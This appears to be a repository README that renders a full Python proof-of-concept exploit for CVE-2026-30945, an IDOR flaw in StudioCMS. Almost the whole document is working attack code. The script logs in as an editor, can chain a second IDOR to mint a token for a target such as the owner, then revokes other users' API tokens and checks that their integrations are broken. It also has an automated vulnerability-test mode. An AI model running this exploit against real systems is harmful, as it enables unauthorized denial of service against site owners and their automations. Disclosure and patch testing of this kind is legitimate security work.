README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-30945 - StudioCMS IDOR — Arbitrary API Token Revocation Leading to Denial of Service
Author: Filipe Gaudard
Date: 2026-03-10
Description:
The DELETE /studiocms_api/dashboard/api-tokens endpoint allows any authenticated
user with editor privileges or above to revoke API tokens belonging to any other
user, including admin and owner accounts. The handler accepts tokenID and userID
directly from the request payload without verifying token ownership, caller identity,
or role hierarchy. This enables targeted denial of service against critical
integrations and automations.
Affected versions: studiocms <= 0.3.0
Fixed in: 0.4.0
References:
- CVE: CVE-2026-30945
- CWE: CWE-639, CWE-863
- GHSA: GHSA-8rgj-vrfr-6hqr
- CVSS: 7.1 (High)
"""
import argparse
import json
import sys
from datetime import datetime
try:
import requests
from colorama import Fore, Style, init
init(autoreset=True)
except ImportError:
print("[!] Missing dependencies. Install with: pip install requests colorama")
sys.exit(1)
# ─── Constants ────────────────────────────────────────────────────────────────
BANNER = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ ████╗█████╔╝██║██╔██║███████║███████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ╚═══╝╚═══██╗████╔╝██║╚════██║╚════██║ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ██████╔╝╚██████╔╝ ██║███████║ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝ ║
║ ║
║ StudioCMS IDOR — Arbitrary API Token Revocation (DoS) ║
║ BOLA / IDOR — CWE-639 | CVSS 7.1 ║
║ Author: Filipe Gaudard ║
║ ║
╚══════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""
ENDPOINTS = {
"login": "/studiocms_api/auth/login",
"api_tokens_create": "/studiocms_api/dashboard/api-tokens",
"api_tokens_delete": "/studiocms_api/dashboard/api-tokens",
"users": "/studiocms_api/rest/v1/users",
"verify_session": "/studiocms_api/dashboard/verify-session",
}
# ─── Helper Functions ─────────────────────────────────────────────────────────
def log_success(msg):
print(f" {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")
def log_info(msg):
print(f" {Fore.BLUE}[*]{Style.RESET_ALL} {msg}")
def log_warning(msg):
print(f" {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")
def log_error(msg):
print(f" {Fore.RED}[-]{Style.RESET_ALL} {msg}")
def log_header(msg):
print(f"\n {Fore.CYAN}{'─' * 60}")
print(f" {msg}")
print(f" {'─' * 60}{Style.RESET_ALL}")
# ─── Core Functions ───────────────────────────────────────────────────────────
def authenticate(session, base_url, username, password, verify_ssl=True):
"""Authenticate to StudioCMS and return session with auth cookie."""
url = base_url + ENDPOINTS["login"]
payload = {"username": username, "password": password}
try:
resp = session.post(url, json=payload, verify=verify_ssl, allow_redirects=False)
if "auth_session" in session.cookies.get_dict():
log_success(f"Authenticated as '{username}'")
return True
if resp.status_code in (301, 302, 303):
log_success(f"Authenticated as '{username}' (redirect)")
return True
log_error(f"Authentication failed for '{username}' (HTTP {resp.status_code})")
return False
except requests.exceptions.ConnectionError:
log_error(f"Connection failed to {base_url}")
return False
def verify_session(session, base_url, verify_ssl=True):
"""Verify current session and return user info."""
url = base_url + ENDPOINTS["verify_session"]
payload = {"originPathname": base_url + "/dashboard"}
try:
resp = session.post(url, json=payload, verify=verify_ssl)
if resp.status_code == 200:
data = resp.json()
if data.get("isLoggedIn"):
user = data.get("user", {})
level = data.get("permissionLevel", "unknown")
return {
"id": user.get("id"),
"name": user.get("name"),
"username": user.get("username"),
"email": user.get("email"),
"permissionLevel": level,
}
return None
except Exception:
return None
def create_token_for_target(session, base_url, target_uuid, verify_ssl=True):
"""
Step 1 of the PoC chain: generate a token for the target user first.
This leverages CVE-2026-30944 (token generation IDOR) to create the
token that will then be revoked. If the target already has tokens,
this step can be skipped by providing --token-id directly.
"""
url = base_url + ENDPOINTS["api_tokens_create"]
payload = {
"user": target_uuid,
"description": "CVE-2026-30945-target-token",
}
try:
resp = session.post(url, json=payload, verify=verify_ssl)
if resp.status_code == 200:
data = resp.json()
token = data.get("token")
if token:
return token
return None
except Exception:
return None
def revoke_token(session, base_url, token_id, user_id, verify_ssl=True):
"""Exploit: Revoke an arbitrary user's API token (IDOR)."""
url = base_url + ENDPOINTS["api_tokens_delete"]
payload = {
"tokenID": token_id,
"userID": user_id,
}
try:
resp = session.delete(url, json=payload, verify=verify_ssl)
if resp.status_code == 200:
data = resp.json()
message = data.get("message", "")
if "deleted" in message.lower():
return True, message
return True, message
elif resp.status_code == 403:
return False, "Access denied (403 Forbidden) — endpoint may be patched"
else:
return False, f"Unexpected response: HTTP {resp.status_code} — {resp.text[:200]}"
except requests.exceptions.ConnectionError:
return False, f"Connection failed to {base_url}"
def verify_token_revoked(base_url, token_jwt, verify_ssl=True):
"""Verify that the revoked token no longer grants API access."""
url = base_url + ENDPOINTS["users"]
headers = {"Authorization": f"Bearer {token_jwt}"}
try:
resp = requests.get(url, headers=headers, verify=verify_ssl)
if resp.status_code == 200:
return False # Token still works — revocation failed
elif resp.status_code in (401, 403):
return True # Token rejected — revocation confirmed
else:
return None # Inconclusive
except Exception:
return None
def save_results(data, filename):
"""Save exploitation results to JSON file."""
with open(filename, "w") as f:
json.dump(data, f, indent=2, default=str)
log_success(f"Results saved to {filename}")
# ─── Exploitation Modes ──────────────────────────────────────────────────────
def manual_exploit(args):
"""Manual exploitation: authenticate and revoke target's token."""
log_header("PHASE 1: Authentication")
session = requests.Session()
if not authenticate(session, args.url, args.username, args.password, args.verify_ssl):
return
user_info = verify_session(session, args.url, args.verify_ssl)
if user_info:
log_info(f"Session user: {user_info['name']} ({user_info['permissionLevel']})")
log_info(f"Session UUID: {user_info['id']}")
else:
log_warning("Could not verify session details")
# If no token-id provided, create one first via CVE-2026-30944
token_id = args.token_id
token_jwt = None
if not token_id:
log_header("PHASE 2: Token Setup (via CVE-2026-30944)")
log_info(f"No --token-id provided, creating a token for target user first...")
log_info(f"Target UUID: {args.target_uuid}")
token_jwt = create_token_for_target(session, args.url, args.target_uuid, args.verify_ssl)
if token_jwt:
log_success(f"Token created for target: {token_jwt[:50]}...")
log_info("Verifying token works before revocation...")
users = requests.get(
args.url + ENDPOINTS["users"],
headers={"Authorization": f"Bearer {token_jwt}"},
verify=args.verify_ssl,
)
if users.status_code == 200:
log_success("Token is valid — API access confirmed")
else:
log_warning(f"Token verification returned HTTP {users.status_code}")
# We need the token record ID (UUID), not the JWT
# The token_id is typically returned from the API or can be extracted
log_warning("Note: To complete the revocation, you need the token record UUID (not the JWT)")
log_info("Provide --token-id with the internal token UUID to proceed with revocation")
log_info("The token record ID can be found in the database or via API enumeration")
if args.save:
results = {
"cve": "CVE-2026-30945",
"phase": "token_creation_only",
"timestamp": datetime.now().isoformat(),
"target": args.url,
"attacker": user_info,
"target_uuid": args.target_uuid,
"token_jwt": token_jwt,
}
save_results(results, f"cve_2026_30945_{args.target_uuid[:8]}.json")
return
else:
log_error("Could not create token for target — token generation may be patched")
return
# Proceed with revocation
log_header("PHASE 3: Token Revocation (IDOR)")
log_info(f"Target UUID: {args.target_uuid}")
log_info(f"Token ID: {token_id}")
log_info("Revoking target's API token...")
success, message = revoke_token(session, args.url, token_id, args.target_uuid, args.verify_ssl)
if success:
log_success(f"Token revoked! Server response: {message}")
# Verify revocation if we have the JWT
if token_jwt:
log_header("PHASE 4: Revocation Verification")
log_info("Verifying token is no longer valid...")
revoked = verify_token_revoked(args.url, token_jwt, args.verify_ssl)
if revoked is True:
log_success("VULNERABILITY CONFIRMED — Token successfully revoked!")
log_warning("Target user's API integrations are now broken (DoS)")
elif revoked is False:
log_warning("Token still works — revocation may not have taken effect")
else:
log_info("Revocation verification inconclusive")
else:
log_warning("VULNERABILITY CONFIRMED — Server accepted the revocation request")
log_info("Cannot verify token invalidation without the JWT value")
else:
log_error(f"Revocation failed: {message}")
if args.save:
results = {
"cve": "CVE-2026-30945",
"timestamp": datetime.now().isoformat(),
"target": args.url,
"attacker": user_info if user_info else {"username": args.username},
"target_uuid": args.target_uuid,
"token_id": token_id,
"revocation_success": success,
"server_message": message,
"vulnerable": success,
}
save_results(results, f"cve_2026_30945_{args.target_uuid[:8]}.json")
def auto_test(args):
"""Automated testing: create token, then revoke it, verify DoS."""
log_header("AUTOMATED VULNERABILITY TEST")
log_info(f"Target: {args.url}")
log_info(f"Target UUID: {args.target_uuid}")
if not args.token_id:
log_error("Automated test requires --token-id (the internal UUID of the target's token)")
log_info("Use manual mode first to create a token, then extract the token record UUID")
return
results = {}
test_accounts = []
if args.editor_user and args.editor_pass:
test_accounts.append(("Editor", args.editor_user, args.editor_pass))
if args.visitor_user and args.visitor_pass:
test_accounts.append(("Visitor", args.visitor_user, args.visitor_pass))
if not test_accounts:
log_error("No test accounts provided")
return
for role_label, username, password in test_accounts:
log_header(f"Testing as {role_label}: {username}")
session = requests.Session()
if not authenticate(session, args.url, username, password, args.verify_ssl):
results[role_label] = {"status": "auth_failed"}
continue
user_info = verify_session(session, args.url, args.verify_ssl)
if user_info:
log_info(f"Detected role: {user_info['permissionLevel']}")
log_info(f"Attempting to revoke token {args.token_id} belonging to {args.target_uuid}...")
success, message = revoke_token(
session, args.url, args.token_id, args.target_uuid, args.verify_ssl
)
if success:
log_warning(f"VULNERABILITY CONFIRMED for role: {role_label}")
log_warning(f"Server: {message}")
results[role_label] = {"status": "vulnerable", "message": message}
else:
log_info(f"Revocation denied for {role_label}: {message}")
results[role_label] = {"status": "not_vulnerable", "message": message}
# Summary
log_header("TEST SUMMARY")
vulnerable = any(r.get("status") == "vulnerable" for r in results.values())
for role, result in results.items():
status = result.get("status", "unknown")
if status == "vulnerable":
log_warning(f"{role}: VULNERABLE — token revocation succeeded")
elif status == "not_vulnerable":
log_success(f"{role}: NOT VULNERABLE — revocation denied")
elif status == "auth_failed":
log_error(f"{role}: AUTHENTICATION FAILED")
print()
if vulnerable:
log_warning("SYSTEM IS VULNERABLE TO CVE-2026-30945")
else:
log_success("SYSTEM APPEARS PATCHED")
if args.save:
save_results(results, "cve_2026_30945_autotest.json")
# ─── Main ─────────────────────────────────────────────────────────────────────
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-30945 — StudioCMS IDOR Token Revocation DoS PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Revoke a known token (requires token record UUID)
python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 \\
--target-uuid <owner-uuid> --token-id <token-record-uuid>
# Create a token first, then revoke (chained with CVE-2026-30944)
python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 \\
--target-uuid <owner-uuid>
# Automated testing
python3 %(prog)s -u http://localhost:4321 --auto-test \\
--editor-user editor01 --editor-pass pass123 \\
--target-uuid <owner-uuid> --token-id <token-record-uuid>
""",
)
parser.add_argument("-u", "--url", required=True, help="Target StudioCMS base URL")
parser.add_argument("--target-uuid", required=True, help="Target user UUID (e.g., owner UUID)")
parser.add_argument("--token-id", help="Internal token record UUID to revoke (not the JWT)")
# Manual mode
manual = parser.add_argument_group("Manual Mode")
manual.add_argument("--username", help="Username for authentication")
manual.add_argument("--password", help="Password for authentication")
# Auto test mode
auto = parser.add_argument_group("Automated Test Mode")
auto.add_argument("--auto-test", action="store_true", help="Enable automated multi-role testing")
auto.add_argument("--editor-user", help="Editor account username")
auto.add_argument("--editor-pass", help="Editor account password")
auto.add_argument("--visitor-user", help="Visitor account username")
auto.add_argument("--visitor-pass", help="Visitor account password")
# Optional
parser.add_argument("--save", action="store_true", help="Save results to JSON file")
parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification")
return parser.parse_args()
def main():
print(BANNER)
args = parse_args()
args.url = args.url.rstrip("/")
args.verify_ssl = not args.no_ssl_verify
if args.no_ssl_verify:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if args.auto_test:
auto_test(args)
elif args.username and args.password:
manual_exploit(args)
else:
log_error("Provide --username/--password for manual mode or --auto-test for automated testing")
sys.exit(1)
if __name__ == "__main__":
main()